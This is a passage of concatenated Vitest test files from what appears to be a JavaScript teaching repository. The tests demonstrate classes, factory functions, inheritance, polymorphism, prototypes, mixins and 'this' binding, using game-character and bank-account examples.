createWarrior(name) { const state = { name, health: 150, maxHealth: 150 } return { name: state.name, ...withHealth(state) // No mana for warriors } } function createMage(name) { const state = { name, health: 80, maxHealth: 80, mana: 100 } return { name: state.name, ...withHealth(state), ...withMana(state) } } const warrior = createWarrior('Conan') const mage = createMage('Gandalf') expect(warrior.getHealth()).toBe(150) expect(warrior.takeDamage(50)).toBe(100) expect(warrior.getMana).toBe(undefined) // Warriors don't have mana expect(mage.getHealth()).toBe(80) expect(mage.getMana()).toBe(100) expect(mage.useMana(30)).toBe(true) expect(mage.getMana()).toBe(70) }) }) }) // =========================================== // Part 6: Factory vs Class Comparison // =========================================== describe('Part 6: Factory vs Class Comparison', () => { describe('instanceof behavior', () => { it('should work with classes but not factories', () => { class ClassPlayer { constructor(name) { this.name = name } } function createPlayer(name) { return { name } } const classPlayer = new ClassPlayer('Alice') const factoryPlayer = createPlayer('Bob') expect(classPlayer instanceof ClassPlayer).toBe(true) expect(factoryPlayer instanceof Object).toBe(true) // Factory objects are just plain objects }) }) describe('Memory efficiency', () => { it('should show classes share prototype methods', () => { class ClassPlayer { attack() { return 'attack' } } const p1 = new ClassPlayer() const p2 = new ClassPlayer() expect(p1.attack).toBe(p2.attack) // Same function reference }) it('should show factories create new methods for each instance', () => { function createPlayer() { return { attack() { return 'attack' } } } const p1 = createPlayer() const p2 = createPlayer() expect(p1.attack).not.toBe(p2.attack) // Different function references }) }) describe('Privacy comparison', () => { it('should show both can achieve true privacy', () => { // Class with private fields class ClassWallet { #balance = 0 deposit(amount) { this.#balance += amount } getBalance() { return this.#balance } } // Factory with closures function createWallet() { let balance = 0 return { deposit(amount) { balance += amount }, getBalance() { return balance } } } const classWallet = new ClassWallet() const factoryWallet = createWallet() classWallet.deposit(100) factoryWallet.deposit(100) expect(classWallet.getBalance()).toBe(100) expect(factoryWallet.getBalance()).toBe(100) // Both are truly private expect(classWallet.balance).toBe(undefined) expect(factoryWallet.balance).toBe(undefined) }) }) }) // =========================================== // Common Mistakes // =========================================== describe('Common Mistakes', () => { describe('Mistake 1: Forgetting new with Constructor Functions', () => { it('should throw or behave unexpectedly when new is forgotten (strict mode)', () => { function Player(name) { this.name = name this.health = 100 } // In strict mode (which modern JS uses), forgetting 'new' throws an error // because 'this' is undefined, not the global object expect(() => Player('Alice')).toThrow() }) it('should work correctly with new keyword', () => { function Player(name) { this.name = name this.health = 100 } const bob = new Player('Bob') expect(bob.name).toBe('Bob') expect(bob.health).toBe(100) expect(bob instanceof Player).toBe(true) }) it('should throw error when calling class without new', () => { class Player { constructor(name) { this.name = name } } // Classes protect against this mistake expect(() => Player('Alice')).toThrow() }) }) describe('Mistake 3: Underscore Convention vs True Privacy', () => { it('should show underscore properties ARE accessible (not truly private)', () => { class BankAccount { constructor(balance) { this._balance = balance // Convention only, NOT private! } getBalance() { return this._balance } } const account = new BankAccount(1000) // Underscore properties are fully accessible! expect(account._balance).toBe(1000) // Can be modified directly account._balance = 999999 expect(account.getBalance()).toBe(999999) }) it('should show private fields (#) are truly private', () => { class SecureBankAccount { #balance // Truly private constructor(balance) { this.#balance = balance } getBalance() { return this.#balance } } const secure = new SecureBankAccount(1000) // Private field is not accessible expect(secure.balance).toBe(undefined) // Can only access via methods expect(secure.getBalance()).toBe(1000) }) }) describe('Mistake 4: Using this Incorrectly in Factory Functions', () => { it('should show this can break when method is extracted', () => { function createCounter() { return { count: 0, increment() { this.count++ // 'this' depends on how method is called } } } const counter = createCounter() counter.increment() // Works - this is counter expect(counter.count).toBe(1) // Extract the method const increment = counter.increment // Call without context - 'this' is undefined in strict mode // This won't modify counter.count try { increment() } catch (e) { // In strict mode, this throws because this is undefined } // counter.count is still 1 because the extracted call didn't work expect(counter.count).toBe(1) }) it('should show closures avoid this problem', () => { function createSafeCounter() { let count = 0 // Closure variable - no 'this' needed return { increment() { count++ // Uses closure, not this }, getCount() { return count } } } const counter = createSafeCounter() counter.increment() expect(counter.getCount()).toBe(1) // Extract the method const increment = counter.increment // Works even when extracted! increment() expect(counter.getCount()).toBe(2) }) }) }) // =========================================== // Additional Edge Cases // =========================================== describe('Edge Cases', () => { describe('Class Expression', () => { it('should support class expressions', () => { const Player = class { constructor(name) { this.name = name } } const alice = new Player('Alice') expect(alice.name).toBe('Alice') }) it('should support named class expressions', () => { const Player = class PlayerClass { constructor(name) { this.name = name } static getClassName() { return PlayerClass.name } } expect(Player.name).toBe('PlayerClass') expect(Player.getClassName()).toBe('PlayerClass') }) }) describe('Extending Built-in Objects', () => { it('should extend Array', () => { class ExtendedArray extends Array { get first() { return this[0] } get last() { return this[this.length - 1] } sum() { return this.reduce((a, b) => a + b, 0) } } const arr = new ExtendedArray(1, 2, 3, 4, 5) expect(arr.first).toBe(1) expect(arr.last).toBe(5) expect(arr.sum()).toBe(15) expect(arr instanceof Array).toBe(true) expect(arr instanceof ExtendedArray).toBe(true) // Array methods still work and return ExtendedArray const doubled = arr.map((x) => x * 2) expect(doubled instanceof ExtendedArray).toBe(true) expect(doubled.sum()).toBe(30) }) }) describe('Static Initialization Blocks', () => { it('should support static initialization blocks', () => { class Config { static values = {} static { Config.values.initialized = true Config.values.timestamp = Date.now() } } expect(Config.values.initialized).toBe(true) expect(typeof Config.values.timestamp).toBe('number') }) }) describe('Factory with Validation', () => { it('should validate input in factory', () => { function createUser(name, age) { if (typeof name !== 'string' || name.length === 0) { throw new Error('Name must be a non-empty string') } if (typeof age !== 'number' || age < 0) { throw new Error('Age must be a positive number') } return { name, age, isAdult: age >= 18 } } const user = createUser('Alice', 25) expect(user.name).toBe('Alice') expect(user.isAdult).toBe(true) expect(() => createUser('', 25)).toThrow('Name must be a non-empty string') expect(() => createUser('Alice', -5)).toThrow('Age must be a positive number') }) }) describe('Arrow Function Class Fields', () => { it('should auto-bind this with arrow function class fields', () => { class Button { count = 0 // Arrow function automatically binds 'this' to the instance handleClick = () => { this.count++ return this.count } } const button = new Button() // Works when called directly expect(button.handleClick()).toBe(1) // Extract the method const handler = button.handleClick // Works even when extracted! 'this' is still bound to button expect(handler()).toBe(2) expect(button.count).toBe(2) }) it('should show regular methods lose this when extracted', () => { class Counter { count = 0 // Regular method - 'this' depends on call context increment() { this.count++ return this.count } } const counter = new Counter() expect(counter.increment()).toBe(1) // Extract the method const increment = counter.increment // 'this' is undefined in strict mode when called standalone expect(() => increment()).toThrow() }) }) describe('Method Chaining', () => { it('should support method chaining in class', () => { class Builder { constructor() { this.result = {} } setName(name) { this.result.name = name return this } setAge(age) { this.result.age = age return this } build() { return this.result } } const person = new Builder().setName('Alice').setAge(25).build() expect(person).toEqual({ name: 'Alice', age: 25 }) }) it('should support method chaining in factory', () => { function createBuilder() { const result = {} return { setName(name) { result.name = name return this }, setAge(age) { result.age = age return this }, build() { return { ...result } } } } const person = createBuilder().setName('Bob').setAge(30).build() expect(person).toEqual({ name: 'Bob', age: 30 }) }) }) }) }) ================================================ FILE: tests/object-oriented/inheritance-polymorphism/inheritance-polymorphism.test.js ================================================ import { describe, it, expect } from 'vitest' describe('Inheritance & Polymorphism', () => { // ============================================================ // BASE CLASSES FOR TESTING // ============================================================ class Character { constructor(name, health = 100) { this.name = name this.health = health } introduce() { return `I am ${this.name} with ${this.health} HP` } attack() { return `${this.name} attacks!` } takeDamage(amount) { this.health -= amount return `${this.name} takes ${amount} damage! (${this.health} HP left)` } get isAlive() { return this.health > 0 } static createRandom() { const names = ['Hero', 'Villain', 'Sidekick'] return new this(names[Math.floor(Math.random() * names.length)]) } } class Warrior extends Character { constructor(name) { super(name, 150) // Warriors have more health this.rage = 0 this.weapon = 'Sword' } attack() { return `${this.name} swings a mighty sword!` } battleCry() { this.rage += 10 return `${this.name} roars with fury! Rage: ${this.rage}` } } class Mage extends Character { constructor(name) { super(name, 80) // Mages have less health this.mana = 100 } attack() { return `${this.name} casts a fireball!` } castSpell(spell) { this.mana -= 10 return `${this.name} casts ${spell}!` } } class Archer extends Character { constructor(name) { super(name, 90) this.arrows = 20 } attack() { this.arrows-- return `${this.name} fires an arrow!` } } // ============================================================ // CLASS INHERITANCE WITH EXTENDS // ============================================================ describe('Class Inheritance with extends', () => { it('should inherit properties from parent class', () => { const warrior = new Warrior('Conan') // Inherited from Character expect(warrior.name).toBe('Conan') expect(warrior.health).toBe(150) // Custom value passed to super() // Unique to Warrior expect(warrior.rage).toBe(0) expect(warrior.weapon).toBe('Sword') }) it('should inherit methods from parent class', () => { const warrior = new Warrior('Conan') // Inherited method works expect(warrior.introduce()).toBe('I am Conan with 150 HP') expect(warrior.takeDamage(20)).toBe('Conan takes 20 damage! (130 HP left)') }) it('should inherit getters from parent class', () => { const warrior = new Warrior('Conan') expect(warrior.isAlive).toBe(true) warrior.health = 0 expect(warrior.isAlive).toBe(false) }) it('should inherit static methods from parent class', () => { const randomWarrior = Warrior.createRandom() expect(randomWarrior).toBeInstanceOf(Warrior) expect(randomWarrior).toBeInstanceOf(Character) expect(['Hero', 'Villain', 'Sidekick']).toContain(randomWarrior.name) }) it('should allow child classes to have unique methods', () => { const warrior = new Warrior('Conan') const mage = new Mage('Gandalf') // Warrior-specific method expect(warrior.battleCry()).toBe('Conan roars with fury! Rage: 10') expect(typeof mage.battleCry).toBe('undefined') // Mage-specific method expect(mage.castSpell('Fireball')).toBe('Gandalf casts Fireball!') expect(typeof warrior.castSpell).toBe('undefined') }) }) // ============================================================ // THE SUPER KEYWORD // ============================================================ describe('The super Keyword', () => { it('super() should call parent constructor with arguments', () => { const warrior = new Warrior('Conan') // super(name, 150) was called in Warrior constructor expect(warrior.name).toBe('Conan') expect(warrior.health).toBe(150) }) it('super.method() should call parent method', () => { class ExtendedWarrior extends Character { constructor(name) { super(name, 150) this.weapon = 'Axe' } attack() { const baseAttack = super.attack() // "Name attacks!" return `${baseAttack} With an ${this.weapon}!` } describe() { return `${super.introduce()} - Warrior Class` } } const hero = new ExtendedWarrior('Gimli') expect(hero.attack()).toBe('Gimli attacks! With an Axe!') expect(hero.describe()).toBe('I am Gimli with 150 HP - Warrior Class') }) it('should throw ReferenceError if super() is not called before this', () => { // This would cause an error - we test the concept expect(() => { class BrokenWarrior extends Character { constructor(name) { // Intentionally not calling super() first // this.rage = 0 // Would throw ReferenceError super(name) } } new BrokenWarrior('Test') }).not.toThrow() // The fixed version doesn't throw }) }) // ============================================================ // METHOD OVERRIDING // ============================================================ describe('Method Overriding', () => { it('should override parent method with child implementation', () => { const character = new Character('Generic') const warrior = new Warrior('Conan') const mage = new Mage('Gandalf') const archer = new Archer('Legolas') // Each class has different attack() implementation expect(character.attack()).toBe('Generic attacks!') expect(warrior.attack()).toBe('Conan swings a mighty sword!') expect(mage.attack()).toBe('Gandalf casts a fireball!') expect(archer.attack()).toBe('Legolas fires an arrow!') }) it('should allow extending parent behavior with super.method()', () => { class VerboseWarrior extends Character { attack() { return `${super.attack()} POWERFULLY!` } } const hero = new VerboseWarrior('Hero') expect(hero.attack()).toBe('Hero attacks! POWERFULLY!') }) it('should allow complete replacement of parent behavior', () => { class SilentWarrior extends Character { attack() { return '...' // Completely different, no super.attack() } } const ninja = new SilentWarrior('Shadow') expect(ninja.attack()).toBe('...') }) }) // ============================================================ // POLYMORPHISM // ============================================================ describe('Polymorphism', () => { it('should treat different types uniformly through common interface', () => { const party = [ new Warrior('Conan'), new Mage('Gandalf'), new Archer('Legolas'), new Character('Villager') ] // All can attack(), each in their own way const attacks = party.map(char => char.attack()) expect(attacks).toEqual([ 'Conan swings a mighty sword!', 'Gandalf casts a fireball!', 'Legolas fires an arrow!', 'Villager attacks!' ]) }) it('should allow functions to work with any subtype', () => { function executeBattle(characters) { return characters.map(char => char.attack()) } const team1 = [new Warrior('W1'), new Warrior('W2')] const team2 = [new Mage('M1'), new Archer('A1')] const mixedTeam = [new Warrior('W'), new Mage('M'), new Archer('A')] // Same function works with any combination expect(executeBattle(team1)).toHaveLength(2) expect(executeBattle(team2)).toHaveLength(2) expect(executeBattle(mixedTeam)).toHaveLength(3) }) it('instanceof should check entire prototype chain', () => { const warrior = new Warrior('Conan') expect(warrior instanceof Warrior).toBe(true) expect(warrior instanceof Character).toBe(true) expect(warrior instanceof Object).toBe(true) expect(warrior instanceof Mage).toBe(false) }) it('should enable the Open/Closed principle', () => { // We can add new character types without changing existing code class Healer extends Character { attack() { return `${this.name} heals the party!` } } // Existing function works with new type function getAttacks(chars) { return chars.map(c => c.attack()) } const team = [new Warrior('W'), new Healer('H')] const attacks = getAttacks(team) expect(attacks).toContain('W swings a mighty sword!') expect(attacks).toContain('H heals the party!') }) }) // ============================================================ // PROTOTYPE CHAIN (Under the Hood) // ============================================================ describe('Prototype Chain', () => { it('should set up prototype chain correctly with extends', () => { const warrior = new Warrior('Conan') // Instance -> Warrior.prototype -> Character.prototype -> Object.prototype expect(Object.getPrototypeOf(warrior)).toBe(Warrior.prototype) expect(Object.getPrototypeOf(Warrior.prototype)).toBe(Character.prototype) expect(Object.getPrototypeOf(Character.prototype)).toBe(Object.prototype) }) it('should find methods by walking up the prototype chain', () => { const warrior = new Warrior('Conan') // attack() is on Warrior.prototype (overridden) expect(Warrior.prototype.hasOwnProperty('attack')).toBe(true) // introduce() is on Character.prototype (inherited) expect(Warrior.prototype.hasOwnProperty('introduce')).toBe(false) expect(Character.prototype.hasOwnProperty('introduce')).toBe(true) // Both work on the instance expect(warrior.attack()).toContain('sword') expect(warrior.introduce()).toContain('Conan') }) }) // ============================================================ // COMPOSITION PATTERN // ============================================================ describe('Composition Pattern', () => { it('should compose behaviors instead of inheriting', () => { // Behavior factories const canFly = (state) => ({ fly() { return `${state.name} soars through the sky!` } }) const canCast = (state) => ({ castSpell(spell) { return `${state.name} casts ${spell}!` } }) const canFight = (state) => ({ attack() { return `${state.name} attacks!` } }) // Compose a flying mage function createFlyingMage(name) { const state = { name, health: 100, mana: 50 } return { ...state, ...canFly(state), ...canCast(state), ...canFight(state) } } const merlin = createFlyingMage('Merlin') expect(merlin.fly()).toBe('Merlin soars through the sky!') expect(merlin.castSpell('Ice')).toBe('Merlin casts Ice!') expect(merlin.attack()).toBe('Merlin attacks!') expect(merlin.health).toBe(100) expect(merlin.mana).toBe(50) }) it('should allow mixing and matching behaviors freely', () => { const canSwim = (state) => ({ swim() { return `${state.name} swims!` } }) const canFly = (state) => ({ fly() { return `${state.name} flies!` } }) // Duck can both swim and fly function createDuck(name) { const state = { name } return { ...state, ...canSwim(state), ...canFly(state) } } // Fish can only swim function createFish(name) { const state = { name } return { ...state, ...canSwim(state) } } const duck = createDuck('Donald') const fish = createFish('Nemo') expect(duck.swim()).toBe('Donald swims!') expect(duck.fly()).toBe('Donald flies!') expect(fish.swim()).toBe('Nemo swims!') expect(fish.fly).toBeUndefined() }) }) // ============================================================ // MIXINS // ============================================================ describe('Mixins', () => { it('should mix behavior into class prototype with Object.assign', () => { const Swimmer = { swim() { return `${this.name} swims!` } } const Flyer = { fly() { return `${this.name} flies!` } } class Animal { constructor(name) { this.name = name } } class Duck extends Animal {} Object.assign(Duck.prototype, Swimmer, Flyer) const donald = new Duck('Donald') expect(donald.swim()).toBe('Donald swims!') expect(donald.fly()).toBe('Donald flies!') }) it('should support functional mixin pattern', () => { const withLogging = (Base) => class extends Base { log(message) { return `[${this.name}]: ${message}` } } const withTimestamp = (Base) => class extends Base { getTimestamp() { return '2024-01-15' } } class Character { constructor(name) { this.name = name } } // Stack mixins class LoggedCharacter extends withTimestamp(withLogging(Character)) { doAction() { return this.log(`Action at ${this.getTimestamp()}`) } } const hero = new LoggedCharacter('Aragorn') expect(hero.log('Hello')).toBe('[Aragorn]: Hello') expect(hero.getTimestamp()).toBe('2024-01-15') expect(hero.doAction()).toBe('[Aragorn]: Action at 2024-01-15') }) it('should handle mixin name collisions (last one wins)', () => { const MixinA = { greet() { return 'Hello from A' } } const MixinB = { greet() { return 'Hello from B' } } class Base {} Object.assign(Base.prototype, MixinA, MixinB) const instance = new Base() // MixinB's greet() overwrites MixinA's expect(instance.greet()).toBe('Hello from B') }) }) // ============================================================ // COMMON MISTAKES // ============================================================ describe('Common Mistakes', () => { it('should demonstrate that inherited methods can be accidentally lost', () => { class Parent { method() { return 'parent' } } class Child extends Parent { method() { return 'child' } // Completely replaces parent } const child = new Child() expect(child.method()).toBe('child') // To preserve parent behavior, use super.method() class BetterChild extends Parent { method() { return `${super.method()} + child` } } const betterChild = new BetterChild() expect(betterChild.method()).toBe('parent + child') }) it('should show the problem with inheriting for code reuse only', () => { // BAD: Stack is NOT an Array (violates IS-A) // A Stack should only allow push/pop, not shift/unshift class BadStack extends Array { peek() { return this[this.length - 1] } } const badStack = new BadStack() badStack.push(1, 2, 3) // Problem: Array methods we DON'T want are available expect(badStack.shift()).toBe(1) // Stacks shouldn't allow this! // GOOD: Composition - Stack HAS-A array class GoodStack { #items = [] push(item) { this.#items.push(item) } pop() { return this.#items.pop() } peek() { return this.#items[this.#items.length - 1] } } const goodStack = new GoodStack() goodStack.push(1) goodStack.push(2) expect(goodStack.peek()).toBe(2) expect(typeof goodStack.shift).toBe('undefined') // Correctly unavailable }) }) // ============================================================ // SHAPE POLYMORPHISM (Interview Question Example) // ============================================================ describe('Shape Polymorphism (Interview Example)', () => { class Shape { area() { return 0 } } class Rectangle extends Shape { constructor(width, height) { super() this.width = width this.height = height } area() { return this.width * this.height } } class Circle extends Shape { constructor(radius) { super() this.radius = radius } area() { return Math.PI * this.radius ** 2 } } it('should calculate area differently for each shape type', () => { const rectangle = new Rectangle(4, 5) const circle = new Circle(3) expect(rectangle.area()).toBe(20) expect(circle.area()).toBeCloseTo(28.274, 2) // Math.PI * 9 }) it('should treat all shapes uniformly through common interface', () => { const shapes = [new Rectangle(4, 5), new Circle(3), new Shape()] const areas = shapes.map(s => s.area()) expect(areas[0]).toBe(20) expect(areas[1]).toBeCloseTo(28.274, 2) expect(areas[2]).toBe(0) // Base shape }) it('should verify instanceof for shape hierarchy', () => { const rect = new Rectangle(2, 3) const circle = new Circle(5) expect(rect instanceof Rectangle).toBe(true) expect(rect instanceof Shape).toBe(true) expect(circle instanceof Circle).toBe(true) expect(circle instanceof Shape).toBe(true) expect(rect instanceof Circle).toBe(false) }) }) // ============================================================ // MULTI-LEVEL INHERITANCE // ============================================================ describe('Multi-level Inheritance', () => { it('should support multi-level inheritance (keep shallow!)', () => { class Entity { constructor(id) { this.id = id } } class Character extends Entity { constructor(id, name) { super(id) this.name = name } } class Warrior extends Character { constructor(id, name) { super(id, name) this.class = 'Warrior' } } const hero = new Warrior(1, 'Conan') expect(hero.id).toBe(1) expect(hero.name).toBe('Conan') expect(hero.class).toBe('Warrior') expect(hero instanceof Warrior).toBe(true) expect(hero instanceof Character).toBe(true) expect(hero instanceof Entity).toBe(true) }) it('should call super() chain correctly', () => { const calls = [] class A { constructor() { calls.push('A') } } class B extends A { constructor() { super() calls.push('B') } } class C extends B { constructor() { super() calls.push('C') } } new C() // Constructors called from parent to child expect(calls).toEqual(['A', 'B', 'C']) }) }) }) ================================================ FILE: tests/object-oriented/object-creation-prototypes/object-creation-prototypes.test.js ================================================ import { describe, it, expect } from 'vitest' describe('Object Creation & Prototypes', () => { describe('Opening Hook - Inherited Methods', () => { it('should have inherited methods from Object.prototype', () => { // You create a simple object const player = { name: 'Alice', health: 100 } // But it has methods you never defined! expect(typeof player.toString).toBe('function') expect(player.toString()).toBe('[object Object]') expect(player.hasOwnProperty('name')).toBe(true) // Where do these come from? expect(Object.getPrototypeOf(player)).toBe(Object.prototype) }) }) describe('Prototype Chain', () => { it('should look up properties through the prototype chain', () => { const grandparent = { familyName: 'Smith' } const parent = Object.create(grandparent) parent.job = 'Engineer' const child = Object.create(parent) child.name = 'Alice' // Property lookup walks the chain expect(child.name).toBe('Alice') // found on child expect(child.job).toBe('Engineer') // found on parent expect(child.familyName).toBe('Smith') // found on grandparent }) it('should inherit methods from prototype (wizard/apprentice example)', () => { // Create a simple object const wizard = { name: 'Gandalf', castSpell() { return `${this.name} casts a spell!` } } // Create another object that inherits from wizard const apprentice = Object.create(wizard) apprentice.name = 'Harry' // apprentice has its own 'name' property expect(apprentice.name).toBe('Harry') // But castSpell comes from the prototype (wizard) expect(apprentice.castSpell()).toBe('Harry casts a spell!') // The prototype chain: // apprentice → wizard → Object.prototype → null expect(Object.getPrototypeOf(apprentice)).toBe(wizard) expect(Object.getPrototypeOf(wizard)).toBe(Object.prototype) expect(Object.getPrototypeOf(Object.prototype)).toBeNull() }) it('should return undefined when property is not found in chain', () => { const obj = { name: 'test' } expect(obj.nonexistent).toBeUndefined() }) it('should end the chain at null', () => { const obj = {} expect(Object.getPrototypeOf(Object.prototype)).toBeNull() }) it('should shadow inherited properties when set on object', () => { const prototype = { greeting: 'Hello', count: 0 } const obj = Object.create(prototype) // Before shadowing expect(obj.greeting).toBe('Hello') // Shadow the property obj.greeting = 'Hi' // obj has its own property now expect(obj.greeting).toBe('Hi') // Prototype is unchanged expect(prototype.greeting).toBe('Hello') expect(obj.hasOwnProperty('greeting')).toBe(true) }) }) describe('[[Prototype]], __proto__, and .prototype', () => { it('should have Object.prototype as prototype for plain objects', () => { const obj = {} expect(Object.getPrototypeOf(obj)).toBe(Object.prototype) }) it('should have .prototype property only on functions', () => { function Player(name) { this.name = name } const alice = new Player('Alice') // Functions have .prototype expect(Player.prototype).toBeDefined() expect(typeof Player.prototype).toBe('object') // Instances don't have .prototype expect(alice.prototype).toBeUndefined() // Instance's [[Prototype]] is the constructor's .prototype expect(Object.getPrototypeOf(alice)).toBe(Player.prototype) }) }) describe('Object Literals', () => { it('should have Object.prototype as prototype', () => { // Object literal — prototype is automatically Object.prototype const player = { name: 'Alice', health: 100, attack() { return `${this.name} attacks!` } } expect(Object.getPrototypeOf(player)).toBe(Object.prototype) expect(player.attack()).toBe('Alice attacks!') }) }) describe('Object.create()', () => { it('should create object with specified prototype', () => { const animalProto = { speak() { return `${this.name} makes a sound.` } } const dog = Object.create(animalProto) dog.name = 'Rex' expect(Object.getPrototypeOf(dog)).toBe(animalProto) expect(dog.speak()).toBe('Rex makes a sound.') }) it('should create object with null prototype', () => { const dict = Object.create(null) // No inherited properties expect(dict.toString).toBeUndefined() expect(dict.hasOwnProperty).toBeUndefined() expect(Object.getPrototypeOf(dict)).toBeNull() // Can use any key without collision dict['hasOwnProperty'] = 'safe!' expect(dict['hasOwnProperty']).toBe('safe!') }) it('should create object with property descriptors', () => { const person = Object.create(Object.prototype, { name: { value: 'Alice', writable: true, enumerable: true, configurable: true }, age: { value: 30, writable: false, enumerable: true, configurable: false } }) expect(person.name).toBe('Alice') expect(person.age).toBe(30) // Can modify writable property person.name = 'Bob' expect(person.name).toBe('Bob') // Cannot modify non-writable property (throws in strict mode) expect(() => { person.age = 25 }).toThrow(TypeError) expect(person.age).toBe(30) // unchanged }) }) describe('new operator', () => { it('should create object with correct prototype', () => { function Player(name) { this.name = name } Player.prototype.greet = function () { return `Hello, ${this.name}!` } const alice = new Player('Alice') expect(Object.getPrototypeOf(alice)).toBe(Player.prototype) expect(alice.greet()).toBe('Hello, Alice!') }) it('should bind this to the new object', () => { function Counter() { this.count = 0 this.increment = function () { this.count++ } } const counter = new Counter() expect(counter.count).toBe(0) counter.increment() expect(counter.count).toBe(1) }) it('should return the object unless constructor returns an object', () => { function ReturnsNothing(name) { this.name = name // Implicitly returns the new object } function ReturnsPrimitive(name) { this.name = name return 42 // Primitive is ignored } function ReturnsObject(name) { this.name = name return { different: true } // Object is returned instead } const obj1 = new ReturnsNothing('test') expect(obj1.name).toBe('test') const obj2 = new ReturnsPrimitive('test') expect(obj2.name).toBe('test') // Primitive return ignored const obj3 = new ReturnsObject('test') expect(obj3.different).toBe(true) expect(obj3.name).toBeUndefined() // Original object not returned }) it('can be simulated with Object.create and apply', () => { function myNew(Constructor, ...args) { const obj = Object.create(Constructor.prototype) const result = Constructor.apply(obj, args) return result !== null && typeof result === 'object' ? result : obj } function Player(name, health) { this.name = name this.health = health } Player.prototype.attack = function () { return `${this.name} attacks!` } const player1 = new Player('Alice', 100) const player2 = myNew(Player, 'Bob', 100) expect(player1.name).toBe('Alice') expect(player2.name).toBe('Bob') expect(player1.attack()).toBe('Alice attacks!') expect(player2.attack()).toBe('Bob attacks!') expect(player1 instanceof Player).toBe(true) expect(player2 instanceof Player).toBe(true) }) }) describe('Object.assign()', () => { it('should copy enumerable own properties', () => { const target = { a: 1 } const source = { b: 2, c: 3 } const result = Object.assign(target, source) expect(result).toEqual({ a: 1, b: 2, c: 3 }) expect(result).toBe(target) // Returns the target }) it('should merge multiple objects (later sources overwrite)', () => { const defaults = { theme: 'light', fontSize: 14 } const userPrefs = { theme: 'dark' } const session = { fontSize: 18 } const settings = Object.assign({}, defaults, userPrefs, session) expect(settings.theme).toBe('dark') expect(settings.fontSize).toBe(18) }) it('should perform shallow copy only', () => { const original = { name: 'Alice', scores: [90, 85] } const clone = Object.assign({}, original) // Primitive is copied by value clone.name = 'Bob' expect(original.name).toBe('Alice') // Array is copied by reference clone.scores.push(100) expect(original.scores).toEqual([90, 85, 100]) // Modified! }) it('should not copy inherited or non-enumerable properties', () => { const proto = { inherited: 'from prototype' } const source = Object.create(proto) source.own = 'my own property' Object.defineProperty(source, 'hidden', { value: 'non-enumerable', enumerable: false }) const target = {} Object.assign(target, source) expect(target.own).toBe('my own property') expect(target.inherited).toBeUndefined() // Not copied expect(target.hidden).toBeUndefined() // Not copied }) }) describe('Prototype inspection', () => { it('Object.getPrototypeOf should return the prototype', () => { const proto = { test: true } const obj = Object.create(proto) expect(Object.getPrototypeOf(obj)).toBe(proto) }) it('Object.setPrototypeOf should change the prototype', () => { const swimmer = { swim: () => 'swimming' } const flyer = { fly: () => 'flying' } const duck = { name: 'Donald' } Object.setPrototypeOf(duck, swimmer) expect(duck.swim()).toBe('swimming') Object.setPrototypeOf(duck, flyer) expect(duck.fly()).toBe('flying') expect(duck.swim).toBeUndefined() }) it('instanceof should check the prototype chain', () => { function Animal(name) { this.name = name } function Dog(name) { Animal.call(this, name) } Dog.prototype = Object.create(Animal.prototype) Dog.prototype.constructor = Dog const rex = new Dog('Rex') expect(rex instanceof Dog).toBe(true) expect(rex instanceof Animal).toBe(true) expect(rex instanceof Object).toBe(true) expect(rex instanceof Array).toBe(false) }) it('isPrototypeOf should check if object is in prototype chain', () => { const animal = { eats: true } const dog = Object.create(animal) expect(animal.isPrototypeOf(dog)).toBe(true) expect(Object.prototype.isPrototypeOf(dog)).toBe(true) expect(Array.prototype.isPrototypeOf(dog)).toBe(false) }) }) describe('Common prototype methods', () => { it('hasOwnProperty should check only own properties', () => { const proto = { inherited: true } const obj = Object.create(proto) obj.own = true expect(obj.hasOwnProperty('own')).toBe(true) expect(obj.hasOwnProperty('inherited')).toBe(false) // 'in' checks the whole chain expect('own' in obj).toBe(true) expect('inherited' in obj).toBe(true) }) it('Object.keys should return only own enumerable properties', () => { const proto = { inherited: 'value' } const obj = Object.create(proto) obj.own1 = 'a' obj.own2 = 'b' expect(Object.keys(obj)).toEqual(['own1', 'own2']) expect(Object.keys(obj)).not.toContain('inherited') }) it('Object.getOwnPropertyNames should return all own properties', () => { const obj = { visible: true } Object.defineProperty(obj, 'hidden', { value: 'secret', enumerable: false }) expect(Object.keys(obj)).toEqual(['visible']) expect(Object.getOwnPropertyNames(obj)).toEqual(['visible', 'hidden']) }) }) describe('Common mistakes', () => { it('should not share reference types on prototype', () => { // Wrong way - array on prototype is shared function BadPlayer(name) { this.name = name } BadPlayer.prototype.inventory = [] const alice = new BadPlayer('Alice') const bob = new BadPlayer('Bob') alice.inventory.push('sword') expect(bob.inventory).toContain('sword') // Bob has Alice's sword! // Correct way - array in constructor function GoodPlayer(name) { this.name = name this.inventory = [] } const charlie = new GoodPlayer('Charlie') const dave = new GoodPlayer('Dave') charlie.inventory.push('shield') expect(dave.inventory).not.toContain('shield') // Dave's inventory is separate }) }) }) ================================================ FILE: tests/object-oriented/this-call-apply-bind/this-call-apply-bind.test.js ================================================ import { describe, it, expect } from 'vitest' describe('this, call, apply and bind', () => { describe('Documentation Examples', () => { describe('Introduction: The Pronoun I Analogy', () => { it('should demonstrate this referring to different objects', () => { const alice = { name: "Alice", introduce() { return "I am " + this.name } } const bob = { name: "Bob", introduce() { return "I am " + this.name } } expect(alice.introduce()).toBe("I am Alice") expect(bob.introduce()).toBe("I am Bob") }) it('should allow borrowing methods with call (ventriloquist analogy)', () => { const alice = { name: "Alice" } const bob = { name: "Bob", introduce() { return "I am " + this.name } } // Alice borrows Bob's voice expect(bob.introduce.call(alice)).toBe("I am Alice") }) }) describe('Dynamic Binding: Call-Time Determination', () => { it('should have different this values depending on how function is called', () => { function showThis() { return this } const obj = { showThis } // Plain call - default binding (undefined in strict mode) expect(showThis()).toBeUndefined() // Method call - implicit binding expect(obj.showThis()).toBe(obj) // Explicit binding const customObj = { name: 'custom' } expect(showThis.call(customObj)).toBe(customObj) }) it('should allow one function to work with many objects', () => { function greet() { return `Hello, I'm ${this.name}!` } const alice = { name: "Alice", greet } const bob = { name: "Bob", greet } const charlie = { name: "Charlie", greet } expect(alice.greet()).toBe("Hello, I'm Alice!") expect(bob.greet()).toBe("Hello, I'm Bob!") expect(charlie.greet()).toBe("Hello, I'm Charlie!") }) }) describe('Rectangle Class Example (ES6 Classes)', () => { it('should bind this to instance in class methods', () => { class Rectangle { constructor(width, height) { this.width = width this.height = height } getArea() { return this.width * this.height } } const rect = new Rectangle(10, 5) expect(rect.getArea()).toBe(50) }) }) describe('Explicit Binding: introduce() Example', () => { it('should set this explicitly with call', () => { function introduce() { return `I'm ${this.name}, a ${this.role}` } const alice = { name: "Alice", role: "developer" } const bob = { name: "Bob", role: "designer" } expect(introduce.call(alice)).toBe("I'm Alice, a 